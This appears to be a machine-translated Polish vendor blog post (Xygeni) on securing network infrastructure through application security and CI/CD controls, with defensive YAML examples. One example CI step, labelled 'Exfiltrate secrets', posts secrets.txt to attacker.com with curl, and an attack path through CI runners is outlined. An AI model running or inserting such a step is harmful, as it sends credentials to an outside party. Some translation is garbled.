Infrastruktura sieciowa jest często traktowana jak coś drugorzędnego: „Jesteśmy w chmurze, mamy Kubernetesa, gdzieś jest zapora sieciowa”. Jednak takie podejście może szybko stać się niebezpieczne, zwłaszcza gdy sama aplikacja stanie się słabym ogniwem.
Martwa strefa między kodem a infrastrukturą sieciową
Odpowiedzialność za bezpieczeństwo często jest źle powiązana. Programiści koncentrują się na wdrażaniu funkcji; zakładają, że zespół ds. infrastruktury ma zapewnione bezpieczeństwo. Tymczasem zespoły ds. infrastruktury uważają, że aplikacja jest zabezpieczona w fazie projektowej. To rozbieżność tworzy martwą strefę, którą atakujący szybko wykorzystują.
Przykład ze świata rzeczywistego: A CI/CD pipeline nieprawidłowo konfiguruje środowisko przejścioweUsługa wewnętrzna, która ma być odizolowana, pozostaje otwarta dla sieci. Aplikacja jest wdrażana z otwartym powiązaniem portu i bez ograniczeń ruchu wychodzącego. Nikt nie skanuje środowiska w poszukiwaniu narażonych usług przed ich udostępnieniem. To nie jest problem teoretyczny, lecz praktyczny przykład braku podstawowej bezpiecznej konstrukcji sieci.
Co się nie powiodło:
- Brak kontroli wyjścia: gdy usługa już działała, mogła komunikować się z czymkolwiek.
- Brak skanowania ekspozycji w fazie przygotowawczej: otwarty port pozostał niezauważony.
To ilustruje, dlaczego sama infrastruktura sieciowa jest niewystarczająca. Aplikacja i pipeline musi również egzekwować granice bezpieczeństwa.
Czym jest bezpieczeństwo sieci w tym przypadku? To nie tylko reguła zapory sieciowej czy prywatna podsieć. To zrozumienie zachowania kodu w środowiskach wykonawczych, skanowanie w poszukiwaniu zagrożeń przed wdrożeniem oraz egzekwowanie ścisłych zasad zachowania sieci podczas kompilacji.
Właśnie tutaj wkracza AppSec z uwzględnieniem sieci. To nie wszystko skanowanie kodu źródłowego. Analizuje sposób działania kodu, infrastruktury i CI/CD przecinają się, aby ujawnić rzeczywiste zagrożenia sieciowe.
Paradoks DevSecOps: „Ale mamy zapory sieciowe” to nie bezpieczeństwo sieci
Jesteś w sieci VPC. Obowiązuje reguła zapory sieciowej. Kontener znajduje się w prywatnej podsieci. Ale to wszystko nie ma znaczenia, gdy aplikacja udostępnia wrażliwe interfejsy.
Przykłady:
- Kontener S3 jest błędnie skonfigurowany jako publiczny, choć technicznie rzecz biorąc „znajduje się za” siecią prywatną.
- Wewnętrzny interfejs API ujawniony za pośrednictwem błędnie przekierowanego ruchu przychodzącego w Kubernetes.
Założenie, że infrastruktura sieciowa chroni przed błędami na poziomie aplikacji, jest przestarzałe. Bezpieczna konstrukcja sieci działa tylko wtedy, gdy kod aplikacji respektuje granice.
Kiedy kod aplikacji podważa bezpieczeństwo projektu sieci
Niektóre z największych luk w zabezpieczeniach zaczynają się od drobnych niedopatrzeń w kodzie aplikacji:
Powiązanie z 0.0.0.0: Udostępnia to usługi na wszystkich interfejsach, nawet w kontenerach przeznaczonych wyłącznie do użytku wewnętrznego. Może to być w porządku w środowisku programistycznym, ale jeśli trafi do środowiska produkcyjnego, bez ostrzeżenia zmieni usługę prywatną w publiczną.
🔒 Bezpieczna alternatywa:
# Secure example
ports:
- containerPort: 8080
hostPort: 8080
hostIP: 127.0.0.1
- Pakiety stron trzecich które domyślnie uruchamiają serwery HTTP. Często są dodawane dla wygody i funkcjonalności, ale otwierają przestrzeń dla niezamierzonego dostępu.
- Zakodowane na stałe tokeny dostępne przez trasy wewnętrzne. Jeśli atakujący dotrze do jednej usługi wewnętrznej, może wydobyć tokeny i uzyskać dostęp do innych.
steps:
- name: Exfiltrate secrets
run: curl -d @secrets.txt https://attacker.com
To nie są przypadki skrajne. Zdarzają się w rzeczywistości. pipelines, w rzeczywistych środowiskach. Infrastruktura sieciowa nie uchroni Cię przed niebezpiecznymi domyślnymi ustawieniami w kodzie.
CI/CD Pipelines: Ukryte zagrożenie dla infrastruktury sieciowej
Twoja kompilacja pipeline może być najbardziej uprzywilejowaną częścią twojego stosu i najmniej zabezpieczoną. Atakujący mają na celu CI/CD środowiska nie tylko po to, by zakłócać kompilację, ale także po to, by umożliwić głębsze zagłębienie się w infrastrukturę.
Przebieg ataku:
→ Naruszenie mechanizmu CI lub akcji GitHub.
→ Połącz się z usługami wewnętrznymi za pomocą otwartych ścieżek sieciowych.
→ Ponownie wykorzystaj zapisane lub zakodowane na stałe tokeny.
→ Przeskanuj wewnętrzne zakresy adresów IP, aby odkryć działające usługi.
→ Przemieszczaj się bocznie, aby uzyskać dostęp do ważnych usług lub baz danych.
Ruch ten jest często możliwy dzięki:
- Biegacze z nadmiernymi uprawnieniami które umożliwiają ruch boczny.
- Ponowne wykorzystanie poświadczeń między pracami lub projektami.
- Nieograniczone wyjście co pozwala zagrożonym zadaniom komunikować się z dowolnym wewnętrznym hostem.
Rozwiązanie? Izolacja zadań, dostęp do sieci z zerowym zaufaniem, minimalne uprawnienia dla serwerów i surowe zasady dotyczące ruchu wychodzącego. Bez tego bezpieczeństwo projektu sieci jest podważane przez narzędzia automatyzacji.
Rozwiązanie? Izolacja zadań, dostęp do sieci z zerowym zaufaniem i surowe zasady dotyczące wyjść w serwerach.
Nurkować CI/CD Pipelines Luki w zabezpieczeniach
Twoje CI/CD pipeline może być najsłabszym ogniwem w łańcuchu bezpieczeństwa, a atakujący o tym wiedzą. Dowiedz się, jak zatrute Pipeline Egzekucja (PPE) zamienia zaufaną automatyzację w plac zabaw dla hakerów. Co możesz zrobić, aby ich do tego nie dopuścić?
Otwarte usługi, odsłonięte porty i zagrożenia dla bezpieczeństwa sieci
Kontenery są wysyłane szybko, ale często nie są bezpieczne:
- Redis działa na domyślnych portach.
- Wewnętrzne serwery proxy pozostały w trybie nasłuchu na porcie 8080.
- Pakiety nieumyślnie wprowadzające słuchaczy.
Dobra, bezpieczna konstrukcja sieci zakłada, że takie sytuacje mają miejsce. Domyślnie je blokuje, powiadamia o ich wystąpieniu i uwzględnia weryfikację ujawnionych portów w ramach ciągłej integracji (CI).
Integracja bezpiecznego projektu sieci z procesami pracy programistów
AppSec to już nie tylko statyczna analiza kodu. Aby wykryć realne ryzyko, musisz połączyć SAST/SCA ze skanowaniem sieci i sprawdzaniem narażenia.
Praktyczny przepływ: Kompilacja → Skanowanie statyczne → Skanowanie infrastruktury → Zweryfikuj odsłonięte porty → Wymuś zasady
Przykład: Użyj reguł GitHub Actions, aby uniemożliwić kompilację, w której ujawnione zostaną niepotrzebne porty.
jobs:
check-open-ports:
runs-on: ubuntu-latest
steps:
- name: Run container
run: docker run -d -p 8080:8080 my-app
- name: Scan for exposed ports
run: |
if docker port $(docker ps -q) | grep -q 8080; then
echo "Unnecessary port exposed. Failing build.";
exit 1;
fi
Ta prosta zasada zapewnia higienę ekspozycji poprzez integrację skanowania portów z procesem CI.
Polecane Najlepsze praktyki DevSecOps: Połączyć SAST wykrywać luki w zabezpieczeniach na poziomie kodu za pomocą skanowania infrastruktury, które wykrywają błędy konfiguracji. To dwuwarstwowe podejście zapewnia widoczność niezbędną do projektowania nowoczesnych, bezpiecznych sieci.
To jest DevSecOps z pazurem. W ten sposób bezpieczeństwo sieci staje się częścią Twojej rzeczywistej pipeline.
Od Guardrails do Architektury: Budowanie bezpiecznej infrastruktury sieciowej
Zacznij egzekwować bezpieczne ustawienia domyślne w środowisku deweloperskim, a nie tylko produkcyjnym. Guardrails to dobry początek, ale kontrola na poziomie architektury sprawia, że bezpieczeństwo jest trwałe.
Konkretne kroki:
- Blokować 0.0.0.0 wiązania z mutująca sieć przyjęćhooks w Kubernetes. Zapobiega to ujawnieniu niebezpiecznych usług, zanim do nich dojdzie.
- Domyślnie blokuj ruch wychodzący z kontenerów kompilacji, aby uniknąć nieautoryzowanego przepływu danych.
- Zastosowanie Strażnik OPA w celu egzekwowania zasad, takich jak segmentacja sieci, umieszczanie usług na białej liście lub obowiązkowe adnotacje dotyczące ruchu przychodzącego.
Wprowadź zasady w formie kodu jako strategię wielokrotnego użytku i kontroli wersji. Kodyfikując reguły (np. odrzucając wszystkie usługi bez etykiet networkPolicy), zespoły mogą stosować spójne, specyficzne dla środowiska zasady w środowisku deweloperskim, testowym i produkcyjnym.
Polityka w formie kodu nie jest tylko skalowalna, ale także podlega audytowi, jest przenośna i integruje się bezpośrednio z CI/CD i przepływy pracy oparte na infrastrukturze jako kodzie. To właśnie czyni je kluczowymi dla zapewnienia bezpieczeństwa sieci w całym cyklu jej życia.
Dobra infrastruktura sieciowa nie może uratować złego kodu aplikacji
Twoja zapora sieciowa nie zatrzyma serwera Node.js, który udostępnia trasę debugowania. Twoja sieć VPC nie zatrzyma pakietu, który uruchamia wewnętrzny serwer proxy. Jeśli aplikacja go udostępnia, sieć na to pozwala.
To fundamentalna prawda: bezpieczna konstrukcja sieci nie sprawdza się, gdy kod aplikacji łamie reguły.
Czym jest bezpieczeństwo sieci bez dyscypliny kodów?
To fałszywa obietnica. Bezpieczeństwo sieci działa tylko wtedy, gdy aplikacja, pipeline, a infrastruktura – wszystkie zmierzają w tym samym kierunku. Jednak zbyt często praktyki bezpieczeństwa koncentrują się na obrzeżach, a nie na tym, co wewnętrzne.
Nieszczelne zadania CI mogą nieumyślnie zapewnić atakującym dostęp do sieci, tworzyć moduły z nadmiernymi uprawnieniami lub bez ograniczeń wyjścia, które mogą działać jak tylne drzwi.
Niezabezpieczone ustawienia domyślne w pakietach open source, usługi wiążące się ze wszystkimi interfejsami, osadzone serwery HTTP lub niezweryfikowane wewnętrzne serwery proxy, szybko i po cichu podważają bezpieczeństwo Twojej sieci.
Założenia z przeszłości są równie niebezpieczne. Pomysł, że coś jest „wewnętrzne” lub „prywatne” w architekturze chmurowej, jest mylący. W nowoczesnych środowiskach „wewnętrzny” często oznacza „dostępny, jeśli znasz adres IP”.
Bez ścisłych granic i proaktywnego skanowania, drobne błędy mają negatywny wpływ na otoczenie:
- Interfejs debugowania w środowisku dev trafia do środowiska testowego.
- Port monitorujący został ujawniony z powodu błędnie skonfigurowanego ruchu przychodzącego.
- Narzędzie wewnętrzne jest otwarte dla wszystkich, ponieważ nikt nie sprawdził domyślnych powiązań.
Jaki jest poziom bezpieczeństwa sieci, jeśli można go ominąć za pomocą zależności package.json?
Prawdziwie bezpieczna konstrukcja sieci zaczyna się w kodzie i trwa przez cały czas. pipelineDyscyplina nie jest opcjonalna; jest niezbędna, aby uczynić cały stos możliwym do obrony.
Jak Xygeni pomaga zabezpieczać infrastrukturę sieciową za pomocą AppSec
Xygeni zapewnia obsługę sieci AppSec bezpośrednio do Twojego CI/CD pipelines, wykrywając ryzykowne zachowania w momencie ich wystąpienia i automatycznie egzekwując zasady zapobiegawcze. Nie opiera się wyłącznie na skanowaniu kodu; obserwuje rzeczywistą aktywność kompilacji, aby wychwycić to, czego nie dostrzegają narzędzia statyczne.
Czym zajmuje się Xygeni:
- Wykrywa powiązania 0.0.0.0 podczas kompilacji: Jeśli usługa łączy się ze wszystkimi interfejsami, Xygeni sygnalizuje problem i blokuje scalanie. Generuje alert kontekstowy z lokalizacją pliku, nazwą usługi i wskazówkami dotyczącymi rozwiązania problemu.
- Identyfikuje domyślnie udostępnione porty wewnętrzne: Nawet jeśli usługi nie mają być publiczne, Xygeni analizuje pliki Dockerfile i konfiguracje środowiska uruchomieniowego w celu wykrycia otwartych portów, które powinny zostać zablokowane.
- Ostrzega przed zbyt pobłażliwymi pracami: Xygeni skanuje konfigurację CI pod kątem serwerów z nadmiernymi uprawnieniami, szerokiego dostępu do sieci i ponownego wykorzystywania tokenów w różnych zadaniach. Koreluje te dane z rzeczywistym narażeniem usługi, aby określić priorytety ryzyka.
Dzięki tym możliwościom Xygeni wymusza bezpieczne projektowanie sieci poprzez automatyzację, zapewniając zespołom wczesną, użyteczną informację zwrotną w trakcie procesu rozwoju, zanim niebezpieczne artefakty dotrą do produkcji.
Ostatnia myśl: wszystko zaczyna się od kodu, a nie od zapór sieciowych
Nie można na końcu dodać zabezpieczeń sieciowych pipeline i oczekuj, że tak będzie. Prawdziwe bezpieczeństwo, prawdziwe, odporne, pełne bezpieczeństwo stosu, zaczyna się od momentu napisania kodu i trwa przez cały proces kompilacji, testowania i wdrażania.
Każda warstwa ma znaczenie:
- Jeśli kod domyślnie ujawnia interfejsy, sieć jest już zagrożona.
- Jeśli proces kompilacji nie zweryfikuje otwartych portów, dane mogą zostać ujawnione.
- Jeśli pipeline pozwala na zadania wymagające nadmiernych uprawnień, granica staje się nieistotna.
W świecie ciągłego wdrażania, szybkich iteracji i silnego uzależnienia od oprogramowania typu open source założenie, że sieć będzie w stanie załatać niebezpieczne ustawienia domyślne, jest niebezpiecznym złudzeniem. „Bezpieczeństwo sieci nie zaczyna się od zapór sieciowych. Zaczyna się w kodzie, kompilacji i systemie. pipeline".
Oznacza to traktowanie AppSec z uwzględnieniem sieci jako kluczowej funkcji rozwoju oprogramowania. Oznacza to wczesną integrację kontroli bezpieczeństwa i egzekwowanie bezpiecznego projektowania sieci jako elementu procesu dostarczania kodu przez zespoły. Żadnych skrótów. Żadnych założeń. Tylko dyscyplina, przejrzystość i automatyzacja, od początku do końca.
Nie da się dodać zabezpieczeń sieci. Muszą być częścią sposobu pisania kodu, tworzenia oprogramowania i jego wdrażania. Zadbaj o to, by były świadome sieci. Zapewnij im domyślne bezpieczeństwo. I przestań zakładać, że sieć zakryje złe praktyki.cisjony w kodzie.
